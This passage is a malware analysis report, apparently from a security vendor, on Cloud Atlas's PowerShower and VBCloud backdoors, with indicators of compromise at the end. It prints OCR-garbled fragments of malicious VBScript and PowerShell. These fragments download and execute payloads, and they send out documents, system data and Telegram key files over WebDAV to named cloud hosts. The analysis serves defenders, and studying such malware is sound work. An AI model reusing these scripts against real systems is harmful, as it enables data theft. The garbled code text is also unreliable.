PowerShower::Payload (3).
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$Fib = “U1dXLUF1dGh1lbnRpY2FO2To="

$1f = [System.Convert]::FromBase6uString{$fib)
$zpFl :\ProgramData\tempo.txt"
[io.file]::WriteAllBytes{$zpfl,$1F)

function inv-inv

{

[CmdletBinding{)]

param

{
parameter({Mandatory=$false) ][ Array]$ADIDNSHostsIgnore = (“isatap","wpad"),
parameter (Handatory=$false) nrray]SKerhernanstHeader =",
parameter({Mandatory=$false) J[Array]$Proxylgnore = “Firefox
parameter (Handatory=$false) nrray]SPcapTcP = {"139","445"),
parameter({Mandatory=$false) J[Array]$Pcapldp = ",

parameter({Mandatory=$false) ][ Array]$SpooferHostskeply
parameter({Mandatory=$false) ][ Array]$SpooferHostsignore
parameter({Mandatory=$false) ][ Array]$SpooferIPsReply = .
parameter({Mandatory=$false) ][ Array]$SpooferIPsIgnore
parameter({Mandatory=$false) ][ Array]$UPADDirectHosts
parameter({Mandatory=$false) ][ Array]$WPADAULhIgnore
parameter (Handatory=$false) Int]ScnnsnleQueueLimit
parameter (Handatory=$false) Int]ScnnsnleStatus =
parameter (Handatory=$false) Int]SnDIDNSThreshnld ="y
parameter (Handatory=$false) Int]SnDIDNSTTL = "608",
parameter (Handatory=$false) Int]SDNSTTL = "38",
parameter (Handatory=$false) Int]SHTTPPnrt = "g@",
parameter (Handatory=$false) Int]SHTTPSPnrt = "hu3",
arameter(Handatory=$false) Int]SKerhernscnunt = "2,

Firefox",
g,

parameter(Handatory=$false)][ValidateSet("
parameter{Handatory=$false)][ValidateSet("
parameter{Handatory=$false)][ValidateSet("
parameter{Handatory=$false)][ValidateSet("
parameter{Handatory=$false)][ValidateSet("
parameter{Handatory=$false)][ValidateSet{ Auto ')][Strlng]SEleuated = "Auto"
parameter{Handatory=$false)][ValidateSet{ Anonymous","Basic"," " NTLH" "NTLMNDESS")][Strlng]SHTTPnuth = "NTLH",
parameter{Handatory=$false)][ValidateSet({"Qu" M")][nrray]SmDNSTypes a{"quy,
parameter({Mandatory=$false)][ValidateSet(" 80", 03", 20" ,"1B","1C","1D","1E") ][Array ]$NBNS Types = @("@6","20"),
parameter{Handatory=$false)][ValidateSet{"File Memnry")][Strlng]SPca ="
parameter{Handatory=$false)][ValidateSet{" Basic" TLH" "NTLMNDESS")][Strlng]SPruxynuth = "NTLH",
parameter{Handatory=$false)][ValidateSet({" 0", 1", ")][Strlng]STnnl = "a",

parameter (Handatory=$false) UalidateSet("nnnnymnus","Basic","NTLM","NTLMNDESS")][String]SWPnDnuth = "NTLH",
parameter({Mandatory=$false)][ValidateScript({{$_.Length -eq 6u4})][String]$KerberosHash,
parameter({Mandatory=$false)][ValidateScript({{Test-Path $_})][String]$FileOutputDirectory = "
parameter{Handatory=$false)][ValidateScript{{Test-Path S ))][Strlng]SHTTPDlrectnry s
parameter({Mandatory=$false)][ValidateScript{{$_ -match [System.Net.IPAddress]$_ ))][Strlng]SHTTPIP
parameter({Mandatory=$false)][ValidateScript{{$_ -match [System.Net.IPAddress]$_})][String]$IP =
parameter({Mandatory=$false)][ValidateScript{{$_ -match [System.Net.IPAddress]$_ ))][Strlng]SNBNSBruteFurceTarget =",
parameter({Mandatory=$false)][ValidateScript({{$_ -match [System.Net.IPAddress]$_})][String]$ProxyIP = “8.6.0.0",

'N")][Strlng]SSpnnFeannprlntahle =y,
*)][String]$SpooferRepeat =
*)][String]$Statusdutput
*)][String]$StartupChecks =
ou" "Medlum")][Strlng]Scnnsnleﬂutput = "N,

parameter({Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP
parameter({Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$WPADIP = .
parameter({Mandatory=$false) ][ System.Management.Automation.PSCredential]$ADIDNSCredential,
parameter({Mandatory=$false) ][ System.Management .Automation.PSCredential]$KerberosCredential,

parameter (Handatory=$false) Switch]SInspect,
[parameter(ValueFronRemainingfArguments=§true)]$invalid_parameter

fiendregion
#iregion begin initialization
if($invalid_parameter)

Write-Output “[-] $($invalid_parameter) is not a valid parameter"
throw

e
$inveigh_version = "1.586"

if(1$1P)
{

Sample Inveigh script, downloaded and executed by PowerShower
VBCloud

As described above, VBCloud is installed via VBShower. We found the following module installation paths.
1 C:\ProgramData\avp\avp_upd.vbs

2 C:\ProgramData\Adobe\AdobelLog.vbs

3 C:\ProgramData\Adobe\manager.vbs

4 C:\ProgramData\Adobe\sysman.vbs

5 C:\ProgramData\Adobe\news_adobe.vbs

6 C:\ProgramData\Adobe\upgrade.vbs

7 C:\ProgramData\Edge\SrvMngrUpd.vbs

8 C:\ProgramData\Edge\intelog.vbs

9 C:\ProgramData\Chrome\ChromeSys.vbs

Sample VBCloud main module paths

The core functionality of the VBCloud module duplicates that of VBShower: both download and run PowerShell
scripts with a payload, and then send the output to the C2. Unlike VBShower, however, VBCloud uses public cloud
storage as the C2.
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izychnnl,.nataiyp
izychnlli = fuurarhjc

“edte 1=y:}m111h NodeTypedUalue
urjavucvcf _Position =
urjavucvof ctype =

Execute urjavucuc .ReadText

Sample VBCloud script

The VBCloud script does not contain any loops, and it is designed to execute only once. However, it gets triggered by
a scheduled task every time the user logs into the system, which means it will run frequently. We've also seen
variants of the backdoor that executed their core functionality in a loop with a thirty-minute delay between repetitions.
These variants ran the script once via the \Run registry branch when the system booted up for the first time after
being infected.

On Error Resune Mext

inglalue GH30000000,
gUalue &HB000N00,

Catotbject lxnl2. Server LITTE

ntjetdorua - XHLHTIP.get0ption(2) : NHLHITP.setption 2, tjetdcrua

SauFoecuuz - "Softuare\MicrosoFt\Uindows\Currentersion”

yabupLzFpicGetStringValue CHBOBODONT, SauFoecuuz & ~Internet Setting

o

wscript_she1l
© isxmz

roxyServer, srequgtify

dbupzFpk_GetDUORDUaTue GHBORORNT, sauFoecuuz & “Internet Settings™,"ProxyEnable, dnguuphujg
T¢ ((UarType(srrdugtiru) <> vbNu1L) And (dnguuphujg = 1)) Thi
RHLNTTP setProxy 2, srrdugtifu
pt_shell: o & "\Inter

txt)

toption 2, ntjetdcrva : NHLHITP. 'E(chum(ucanw Enn(cn( e aypuaaunn/x - from-urlencaded
ppiication v e i Hnn»w)encnnen = anu
RHLHTTPStatus © 201) The

BMLNTIP getoptionc2)  NALNTIP.setdption 2, ntjetdcrua : MNP, etmequestheader "Content-Tooe
7, er

nts
012698 0r ErrHunbe, 01274 0r (SHLNTTP Status 45 ar

I
un-.mmﬂuesnuam entent s

HLNTIP . sethequestiieader “Content-Typ

application/x-uw-Fron-urlencoded” : XHLNTIP.send

ntjetdorua - SHLITTP getOption(2) =
Randonize

ILHITP.setOption 2, ntjetdcrua :

HLITIP send

application/x-umi-Fron-urlencoded-

EHLNTIP.open "PUT" “https://uebdou.ydrive.chiknsobugiquut/” & Snt(RndC) = 1000) & vtxt. false.
RHLHTTP “Content-Type “cache, no-store” : XHLHTTP ax-age=0"
HILNTIP Send {nE(Rnag) = 100000)

RHLHTTP open “GET iy ive. False, "

RULHTTP Content-Type", <"+ XwiTe. ‘Gache-Cantro -cache, no-store” : KHLHTTP.SetRequestheader “Cache-Control”, “nax-age-

o7 - WLITTE ResponseText
crypt(nzrejzguu)

ot rive. tete, false, . < e, “Gontent-Type", “application/x-wm-fron-urlencoded"
Requestheader "Cache-Control", "no-cache, no-store” : XHLHTTP.SetRequestheader "Cache-Contrl", "nas-age=0" : XILHTTP.Send
Erecuteiresporse)

End 1f
For each rjsfris 0 » Fron Uina2_ per where
1F not isnull(rjs es:
rgun L mborojugon & riareiurlp MCRdIeSS & - © & risfFiurlp description & UbCr

bzr0j2guu & Createlbject(“Wscript.Netuork") UserNane

L 2) & RightCe" & + 2) & RIgNt("08" & Year(KElryrstru), 2) & “_" & RIGNEC'" & Nour(KELryrstru), 2) & RIGNEC'S" & Winute(ktlryrstru), 2) & Right("0" & Second(ktlryrstru), 2.

LFEF, “Ldoc, ppt”, “.nds”, ".png”, ".jpeg")
cakparey{ Int({Ubound (kuukparey) * 1) * Rnd()))

& ernarilqou, false, .
SetOption 2, ntjetdcrua : KHLHTTP.SetRequesthieader “Content-Type”, s HLATTP g Control”, “na-cache, no-store”
-, “nax-age-0" ¢ ALHITP.Send nbzrojzguu

For Fach scripthane In scriptHane

RULHTTP .0pen “GET", i & scriptiane, false, “ee—oageail.con”, S
ntjetdcrua-SHLITTP ge(ﬂpunn(?) : xnumP Se(ﬂpklnn e etaerun. < AWNTIE “Gontent-Type", drlencoded” : SHLNTTP_SetRequesthieader "Cache-Control”, “no-cache, no-store"
RNLHTTP. SetRequestieade RLHTTP. Send

46 SHLHTTP.Status - 200 Then
nhzrojiguu = YLHTTP ResponseText : response
L LETE”, 1 & scripthane, false, " EEE—oagnail.con”, SN

o ST geloptionds) : KATE.setiption 2, ntjetdcrya : AT “Content-Type, "t AT, Cache-Control”, “na-cache, no-store”

mmw Sethequestieader “Cache-Control”, “nax-age-0" : ALHTTP.Send
cute response)

decrypt(mbzrojzguu)

Eng
WReript.Steep(2000m)

Hext

End 16

Function decrypt(nbzrojzguu)
 Ervor Resune N

2qqurizn

dagmzrafzguy, pnczstal, 2
bruksdckpk - Chi

dCTbvkieuyTo. myadkupzl, 1)) or (U & zqairifznn)

p2i
Dlatngron - pisadngrou  Dnuksdckph
Hext

decrypt
End Functio

Decrypted and deobfuscated VBCloud script
VBCloud does the following:

* Check the availability of the kim.nl.tab.digital WebDav server by sending an HTTP MKCOL request to create
the directories named “kmsobugjquut” and “rwqdmpaohxns” with the credentials hardcoded in the script. If the
server is unavailable, the script switches to the backup address “webdav.mydrive.ch”.

* If the WebDav server is available, create a file in the “kmsobugjquut” directory on that server via an HTTP PUT
The file name follows the pattern ddmmyy HHMMSS, and the extension is randomly selected from among TXT,
RTF, DOC, PPT, MDS, PNG and JPEG. We have seen files named “070824_001919.txt” and
“250724_002919.doc”. Files like these contain the username and MAC addresses of network adapters,
effectively confirming that the script is active on the infected system.

¢ The Trojan then attempts to download one of three files from the “rwqgdmpaohxns” directory: “criclygnduv.txt”,
“ihflenogelp.txt” or “avnwiabihik.txt”. If VBCloud successfully downloads the file, it immediately deletes it from
the cloud with an HTTP DELETE request, and then executes it in the current process via the Execute() function
after decrypting the contents. As in the case of PowerShower, the payload can be made up of various scripts.

VBCloud::Payload (1)

This script is designed to send information about disks to the C2.
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on Error Resume Next
set mddsxdzkjujkh = CreateObject{"HSXHLZ.ServerXHLHTTP.6.0")
set jljigsixduphc - GetObject(“winmgmts:{inpersonationLevel-impersonate}?\\.\root\default:StdRegProu™)
eipxbudurzxes=nddsxdzkjujkn.getoption(2)
nddsxdzkjujkh.setOption 2,eipxbudurzxes
j1ljigsixduphc .GetStringUalue &HBODBOOG1, “Software\Microsoft\Mindous\CurrentUersion\Internet Settings","ProxyServer”, iogkuwjjhhyux
j1jigsixduphc .GetDWORDUalue &HSOODOOG1, “Softuare\Microsoft\Windous\CurrentUersion\Internet Settings","ProxyEnable”, mtkuoylrrtdun
¢ ((varType(iogkuwjjhnyux) <> vbNull) And (mtkvoylrrtdun = 1)) Then
nddsxdzlkjujih.setProxy 2, iogkuwjjhhyux
End If
set zjizsbobaqecw - Getobject(“winngnts:{inpersonationLevel-impersonate}?\\.\root\cinu2™) .Execquery("select * Fron Wind2_Logicaldisk™)
wsyuxtlznfagn =
For Each hirpykdnquuoo in zjizsbobagecu
wsyuxtlznfaqn - wsyuxtlznfaqm & “Driveletter
wsyuxtlznfaqn - wsyuxtlznfagn i & hirpykdmquuoo.DriveType &
wsyuxtlznfagn = wsyuxtlznfagn & hirpykdnquuoo.ediaType & ;5 * & “Size:
wsyuxtlznfagn - wsyuxtlznfagn & Int(hirpykdnquuoo.Size / 1073741824) & “Gb™ & "33 *
wsyuxtlznfaqn - wsyuxtlznfaqm & “FreeSpace: & Int{hirpykdmquuoo_FreeSpace / 1073741824) & “Gb" & UbCr
Next
nddsxdzkjvjkh.open “PUT, “https://kim.nl.tab.digital/remote.php/dav/files/ EE———— %10gnail.con/kmsobugjquut/” & “giark_12931.drv", false,
nddsxdzkjujkh.SetRequestHeader “Content-Type", “application/x-wuu-from-urlencoded"
nddsxdzkjujkh.Send wsyuxtlznFagn

* & hirpykdnquuoo.Name & "3

" & “Description: " & hirpykdnquuoo.UoluneNane & *

VBCloud::Payload (2)

This script is designed to exfiltrate files and documents. It iterates through local drives and removable media in
search of files with the extensions DOC, DOCX, XLS, XLSX, PDF, TXT, RTF and RAR. The script checks the size of
any files it finds to match this condition and collects those between 1000 and 3,000,000 bytes to exfiltrate. The files
must have been modified no more than 72 hours before the current date. The script then copies matching files to a
ZIP archive it creates, named “mapping.zip”. It also adds a file with metadata such as the created time, modified time,
last opened time, and full path to the file. Upon exceeding 4,000,000 bytes, an archive is uploaded to cloud storage
and deleted from the system. It is replaced with a new one, and the file harvesting process continues. The archive is
uploaded in RC4-encrypted form, with a name that follows the template “%d_13134" and one of the following
extensions chosen at random: MP3, AAC, MP2, FLAC, WAV, ALAC, MQA, OGG, DSD, WMA, and MP4.

mapping_z “napping.zip"

blghhxgg = "13134%

kvceabok

pobsgile = Lo T St e, Drar)

vdumbtlx.open
vdunbtLx:Send
ProcessDiskByD:

Tnl.t dau/f i 40gnail & ? v, false. Bgnail.con”. |

riveType(3)

2
B ichriots hrogranbata_path & “huf£") Then
F§.DeleteFile (ProgramData_path & "buff">

s ps  FileBdlats(hrqrandaca_sath 8 mapying_zip) Then
e leteFile(Prograndata_path & mapping_zi)

End 1
End_Fun
Fonct son. anpdrk
TR 0 eF L o cProgranData_path & mapping_2ip>.Size > 1000000 Then
‘auestrzam'lozll’()

End Fun
Punctmn Cnpyl’)]e'[olll’(lcmaonwf)

£ (dgRooquE DateCroated> & /v & DatoParcC'uyyyt, donoaut
& DatePart<"yyyy"

999"

AR ubes

icmacauf .DateCreated> & ¥
& icnaoauf .
&R ", icmaoawf .D

o FS-Dele t AR
Uscript.§leep(2000)

FS.CopyFile icnaoauf.path, sgdkiodu
A4dFi1eToZIP sgdiciodi, Prograndata_path & mapping.zip
>

Uscript §leep(20l
FS DeleieFileCogdiioduy

Znpd
Fanoglon SendEnoryptadzine>
inc oy SendEncryptedz

o hesune Next

Din cphdiqsd

Cphdlged © frray ot g . dgd, 3
Soaqudve = CSencin 0 cphd]qsd(lnt((nhnund(c TP T o
Uddmbe Ix. Open. i 2o Filoss: 57 4Bgmas oon knsohugiduut " & juguxluv » False, "ESS——.oCgnail.con”,

"https "
vdunbt 1x setRequestileader "Content-Ty) Z - fron-urloncoded"”
Vnmbanuy + ReadFile(Progranbata. pach & mapping 2ip>
ssqluhks =

zgtn = CreateObject (“adodb.strean">

sgz tn. t{ne =

‘windoys 1261
§ itetext szuluiie
Sdzgtn posicion

‘sdz n.p

type
) end jfsdzgtn.read

iseript Sl.en(?ﬂﬂm)

oloce u> buf

Fanct don Ruadele(ynrrhm)

On’ Error R Nex
tptioys:

set dbuagmrt = FS.GetFileCypirslin)

set slrgjuby - dbiagnrt OpenioTextStreanci, —2>
while not slrqjuhv.AtEndOfStrear

©ptioyex = eptioygx & slrajuhe. read(25000>

STraguhy . Close >
ReadFile = eptioygx
end functi
Funcgion Savesereantoz1PC)
Croan-SaveloRilePrograndata path & Buff">
RaF116ToZIP ProgranData_path & "buff", Progranata_path & mapping.zip
UScript .S leep(2000>
I£ FS_FileBxists(ProgranData_path & "buff"> then
F§.DeleteFile (ProgramData_path & "buff">

SendEncryptedzipo

USoript £ loep(3000>
serea

Goe

End Funcegon

Funog fon Proc;ssl’n]derNSuthlders<uPiymphh)
Set_mameuyvw = FS | Gthulder(urlgmhh)

I ngneagou-Nane 3> “Progran Filos" ind nameuyeu.Nane <> "Progran Files (x§6>" And nameusvu-Path < CreateObject<"Wsoript Shell™> i ings <" > Then
ghi s
Set oubou-Subta1ders
For cnaocauf in_cpaghf]

- GoeBxtens ionNane Cahnlrupy), meujceco

DS £ <0 Fonnatpataline abatiupy. BaceLas odL 16, Nowe>> < 3 Then

¥ uhmlxmp{ Size > 1080 ind qhalrupy.Size < 3000000 Then
CopyPHeToZipCicnaoaut>

Ena TF
End If

For Each lodajffa in hlxuog:
ProcessFolderNSubFolders<lodagFa.Pathy

n tab-digital/renote. pho/dau f ilos. mm— i1 3 o
plication/x-wwn-f ron-urlencoded”

"> & V_" & "13134.0tx" , false, “EE——

40gmail. 5 axy 1, ¢ & "13134.£in" . false
dex “Content-Type". application/x-ww—fron-urlencoded"”
Function ProcessDiskByDriveType (ptzejaao>
For Each sscizelh in GetObject“winmgnts:Ci i i INS inv2"> . ExecQueryC“Select * from Win32_LogicalDisk™
18 sgodze b brdveype "= nzza.laan ‘Then
ssbisk(sscze 1b.Nans

End TF

xe
Fonct dog. ﬂddF)leTnZlP()cmauauF, aonfjenc)
Error Resune Nex
Const hrbhpunp = BH1:
oiipret PP gecAbea jutePathNaneCicnaoaut>
shorTlchaen 8 GochhsodutoPat ane Caont jone>
If Mot FS.FileExists(zipFilePat
fnq SroRteEADEYZIP G ipFaloPach>
Set hakzslop = CreateObject("Shell fpplicstion)
dfsednen” = hal 2ipFilePathy Count
dnsorile

C SR acy
Suzcuw CInsorikzcliboundCinsorika>>>
Chidsyoh = False

For'Each hnjggeus In hakeslcp.Nane eSpace (zigFilePath

itens

LCase(suzounxw) = LCase Chnjggzvud>
chEdsyob = T
Exit Fox

End If

1€ Not obedsyob Then
slcp.| Namespice(zlpl’xlel’ath) Copyhere eplipkat, hrbhpunp

Do Until dfsfdntu < hakzsl ipFilePath).Itens.Count

Part of the file exfiltration script

VBCloud::Payload (3)
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This script gets various system information such as the OS version, RAM size, manufacturer, computer name,
username and domain name.

Function mlfnf{lgfuk:l()
On Error Resume N

Set St o GetObject ("winngnta:{ inp ionLevel=inp FNNLArootcinu2 ") ExecQuery(“"Select = from Win32_ComputerSysten®.. 48>
For Each rnowwynrbewu in gaphgybf ygai
.MriteText = vhCr & "system_name:: " & rnowuynrbruu.Name
MriteText = vhCr & rnowvynrhruu. NaneFornat
Mritelext = uhCr & rnowsynrbrwu.Manuf acturer
s MriteText = vhCr & * & rnowvynrhrou.Hode
Mritelext = vhCr & & rnowegmelmn SubrenelineZone
Uritelext = uhCr & ical memory:: " & rnowuynrbruu.TotalPhysicallenory
s MriteText = vhCr & rnowvynrbiwu . Domain
Mritelext uhCr & rnowuynrbruwu.DonainRole
MriteText = vhCr & rnowvynrhrv. InstallDate
MriteText = vhCr & FE .
Mritelext = uhCr & v -
s MriteText = vhCr & & rnowwynrbruu.SystenType
MriteText = vhCr & "last_load_info:: " & rnowwynrhrwu.LastLoadinfo

lext

nd Funct i

unction bagFaulkxinf O

n Error Resume Next

CreateOhject{"Wscript.Shell"> .RegRead( "HKEY_USERSN\S-1-5-19\Environment\TEMP">
£ Err_Number - 0 Then

bajfquikxjrf = True

se

bajfqulkxjrf = False

end if

End Function

Function dxcof gunudeic>

On Error Resume Nex

Sct gaphgybfyqai - Getﬂh‘]ett("wlnmgmts-(' e ionLevel-inp I \rooticinu2"y ExecQuery(“Select ® from Win32_Process")
ixu.HriteText “process_listiz ¥

or Each in yyai

MWriteText = rnowsynrbruwu.Nane & * " & rnowvynrbruu.ConmandLine & ;3

nd Function
unction ulpooyubrwof (3
ot gzifeokkyqfp = GetObject('winnmgmts: vel=inp 3. \roatrdefault :StdRegProv™
gzifeokkqufp.CetStringlalue &HE00DDDEO, ”CLS]D\\(Bsd%aﬁlh—Eﬂ P aamae et 004096325153 \\FrogID", ", gkkthpcrnosp
Set owugjscagnlp = CreateObject(gkkthpcr

£ jrunpc Ingun-ovugjscaqnlp. getOption<2y
obugiscagnlp.setOption 2, jrunpc Ingun
g1t eokkaafp. GetStringUaiue, MHBODDOBOL, "Softuare\Microsoft\ilindous\Currentlersiony! & VInternet Setting
gzifcokkqufp,GetDWORDUalue &HBOOOODOL, “Software\Microsoft\Windows\CurrentUersion\" & “Internet Settings"
If ¢(UarType(irxtdtogxnzm> <> ubNull> And Cudybucueftym = 13> Then : ouvwgjscagnlp.setProxy 2, irxtdtogxnz ind
ouugisoagnlp-Opon MICOL", Vhetps:s/kingnl.gab;digital/ronoto.php/day T ilos, EENS—. o 10ynail. o s Vknsobugigquut", false, "M
ovugjscagnlp.setRequestHeader “"Content-Type™. “application/x—wwm—from-urlencoded"

ovugjscagnlp.send *
Vscript .8leepc500>
ovugjscagnlp.Open "PUT". “https:/skin.nl.tah.digital/renote.php dav/files SN0 40gnail.con/" & “kmsobugjquut/" & “htxk 12511.sy:
ovugiscaqnlp. Setnequestﬂeader Cantent-Type", Vapplication x uu—fron-uriencoded”

Wscript.Sleent

mpeckynkkixu . Pusltlnn =0

vugjscagnlp Send mpcckynkkixu.ReadText

nd Function

unction zrpmppeiveru(}

n Error Resume

ProxyServer", irxtdtogxnzm
ProxyEnable”. vdybucust tum

ot yaai = GetObiect (winnunts:Cinp ionLevel=inp PN Aroothcinu2 ") .ExecQuery("Select * from Win32_OperatingSysten™>
or Eac Y
xu.WriteText = vhCr & & rnoweynrhrou.Nane
‘MpiteText = ubCr & & nowsynrhruu.Uersion
MriteText = ubCr & "service pack:: " & rnouwynibriu.ServicePackMajorUersion & "." & rnowvynrbruu.ServicePackMinorUersion
MriteText = vhCr & turer:: " & rnowwynrbruu.Manufacturer
Mritelext uhCr & & rnoweynrbrwu.WindousDirectory
s MriteText = vhCr & & rnowvynrbruu.Locale
Tritelext = vhCr & “available_physical memoryi: * & rnowvynrbrwu.FreePhysicallenory
‘Uritelext = ubCr & "total_virtual_memory: rnowwynrbruu. TotallirtualemorySize
. MriteText = vhCr & “available virtual memory:: * & rnowwynrbrwu.FreeUirtualMenory

xt
nd Function
unction aonyidaxovyuld
n Error Resume Hexi
ot gzifeokkqqfp - GetObject( winngmts:
gzifeokkqufp.GetStringlalue &HS0DODDOO,

{inpersonationLevel=inpersonate) !\, \rootsdefault:StdRegProv")
"CLS 1 D\N< 09 3FF999-1EAD-4079-9525-614C3504B74> \\ProgI D", """, bajs yavaaxnv

@
Set ujbfaloxagzg - CreateObject (hajsyavaaxmy
or b dteToxt v susernanei: v & wibfaloxagzy. UserNane
“MpiteText = u wjbfaloxagzg.ComputerName
SMriteText = v a hfalnxagzg UserDonain
MriteText = v & hadfavLiocint
End_Fun

On Error Resume Next
Set nmpcckynkkixw = CreateOhjectC“ADODB.Strean™>
mpcckynklixu Tupe

VBCloud::Payload (4)
Script to exfiltrate Telegram files:

e The file D877F783D5D3EF8Cs contains the user ID and encryption key used for interaction between the
desktop client and Telegram servers.
e The file key_datas contains local encryption keys.

On Error Resume Mext

set udbgephluwkeq = CreateObject{ MSKNLZ ServeriNLHTTF. 5.0

set dpghkyxfhzvjl = GetObject{  winmgmtsa<i nlevel=imp >\\.arootdefault:StdRegProy®y

nou=vdbgsphkuwksy, ge tOpt on (2>

vdhgsphluvksg.setOption 2,

ApahxEhey J1. GetSEringUaiue KHB0OBOODL. ‘SoftuarenMicrosoft\Windous\CurrentUersiony' & ‘Internet Settings', ‘ProxyServer’. xkancfuoipeal
dpablsxthavil. GocDUORDUa Ly HIS00D000L, “Sof tuaresHicrocoft\lindaws~CurrentUersiony & “Interngt Settings . ‘ProxyEnable'.  dhxsukmyxduyt
It ({UarTypo Geanclvoipeal’ ¢ vbNu1D> find (dlvcsuknyxdge = 153 Then : vdhgsphlawloq.setProxy 2, xkancfuoipeal ' End

gooeiroyyeeys = CreateObject{ Wscript.Shell®).Ex ndEnulrnnmzntStrlngs( #APPDATAZ > & “\Ielegram Desktopitdata
zqngyancdrfby gooeiroyyeeys & ‘\nn77F7s3nsn3EFscS - 4o 44m44
Cangvancdrfhy gooeireygecys B “\key datas:, urgsk 4404 7€

function zqnSlyamndrfhff(rmkyummmzxuva, pfuflxuuhkluz
set_ufkhlqroatgkv = CreateOhjectC ADODE.Strean' )
yfkhlgroatgke. open
yikhlqroatgke -ty 1
JEKhLaroataky , 158df ronf i LeCrnkyunnnzxuu 3>
Voerint, 8100p<500>
udhgsphkuuksq Open ‘PUT‘. ‘https://uebdav._opendrive.com/vegizxpeowoq/" & pfuflxouhkloz . false. "IN Cnailto.plus’. TN
“Content-Type'. “application/x-wm-from-urlencoded’
Send yfkhlgroatqh

end function

Part of the file exfiltration script

Geography of attacked users

Several dozen users were attacked in 2024, 82% of these in Russia. Isolated attacks were recorded in Belarus,

Canada, Moldova, Israel, Kyrgyzstan, Vietnam and Turkey.

Conclusion

We continue to monitor activity linked to Cloud Atlas. In a new campaign that began in August 2023, the attackers
made changes to their familiar toolkit. This time, instead of an executable library to load malware modules, the group
relied on the VBShower backdoor as the loader. Besides, they are now using a new module in their attacks: VBCloud.
This collects and uploads system information and other data. These actions employ a variety of PowerShell scripts
that enable the attackers to perform a range of tasks on the victim’s system. VBCloud uses public cloud storage as a

C2 server.

The infection chain consists of several stages and ultimately aims to steal data from victims’ devices. We’ve observed
that, similar to past Cloud Atlas campaigns, phishing emails continue to be the initial access point. This underscores
the still-pressing need for organizations to strengthen their infrastructure defenses and improve employee awareness

to ward off these kinds of attacks.
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If you want to try analyzing the sample from earlier Cloud Atlas attacks and other infamous malware samples
yourself, you can take the Advanced Malware Analysis Techniques course from Kaspersky GReAT.

Indicators of compromise

HTA file download domains
content-protect[.Jnet
control-issue[.]net
office-confirm[.Jcom
onesoftwarel[.]info
serverop-parametrs[.Jcom
web-privacy[.]net
net-plugin[.]Jorg
triger-working[.Jcom

VBShower C2
yandesks|[.]Jnet
yandisk][.]info
mirconnect[.]info
sber-cloud].]info
gosportal[.]net
riamir[.]Jnet
web-wathapp[.Jcom

PowerShower C2
yandisk[.Jinfo
yandesktop[.Jcom
web-wathapp[.Jcom

Cloud repositories used by VBCloud
webdav.opendrive.com
webdav.mydrive.ch

webdav.yandex.ru

kim.nl.tab.digital

HTA MD5
9D3557CC5C444FESD73E4C7FE1872414
CBAOSE11CB9D1D71FOFA70ECD1AF2480
CBFB691E95EE34A324F94ED1FF91BC23
2D24044COA5B9EBE4EO01DED2BFC2B3A4
88BEO1F8C4A9F335D33FA7C384CA4666
A30319545FDA9E2DA0532746C09130EB

PowerShower MD5
15FD46AC775A30B1963281A037A771B1
31B01387CA60A1771349653A3C6AD8CA
389BC3B9417D893F3324221141EDEA0OO

VBShower::Launcher MD5
AAB8DA99D5623FAFED356A14E59ACBB90
016B6A035B44C1AD10D070ABCDFE2F66
160A65E830EB97AAEBE 1305019213558
184CF8660AF7538CD1CD2559A10B6622
1AF1F9434E4623B7046CF6360E0A520E
1BFB9CBA8AA23A401925D356B2F6E7ED
21585D5881CC11ED1F615FDB2D7ACC11
242E86E658FE6ABGE4C81B68162B3001
2FE7E75BC599B1C68B87CF2A3E7AA51F
36DDOFBD19899F0B23ADE5SA1DE3C2FEC
389F6E6FDIDCC84C6E944DC387087A56
3A54ACD967DD104522BA7D66F4D86544
3F12BF4A8D82654861B5B5993C012BFA
49F8ED13A8A13799A34CC999B195BF 16
4B96DC735B622A94D3C74C0BE9858853
F45008BF1889A8655D32A0EB93B8ACDD
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https://xtraining.kaspersky.com/courses/advanced-malware-analysis-techniques/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team___xtraining____da8cd21fd855516e
https://opentip.kaspersky.com/content-protect.net/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e8e283cf104a19b0&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/control-issue.net/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______44897b4d6824a4ba&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/office-confirm.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______20e7a6b97d6a3dfd&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/onesoftware.info/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______b5b30bde966f2654&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/serverop-parametrs.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______1c6557baf6ef216d&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/web-privacy.net/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______bf72c89845d2be71&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/net-plugin.org/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______36d809b4e4ec8ac1&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/triger-working.com/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______c225ede31c53458a&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/yandesks.net/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______e4e1b5b90d706910&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/yandisk.info/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______80bad7ea4c7f5cd6&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/mirconnect.info/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______2cec32bc53c84653&utm_source=SL&utm_medium=SL&utm_campaign=SL
https://opentip.kaspersky.com/sber-cloud.info/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______91cf7656e71ecf70&utm_source=SL&utm_medium=SL&utm_campaign=SL
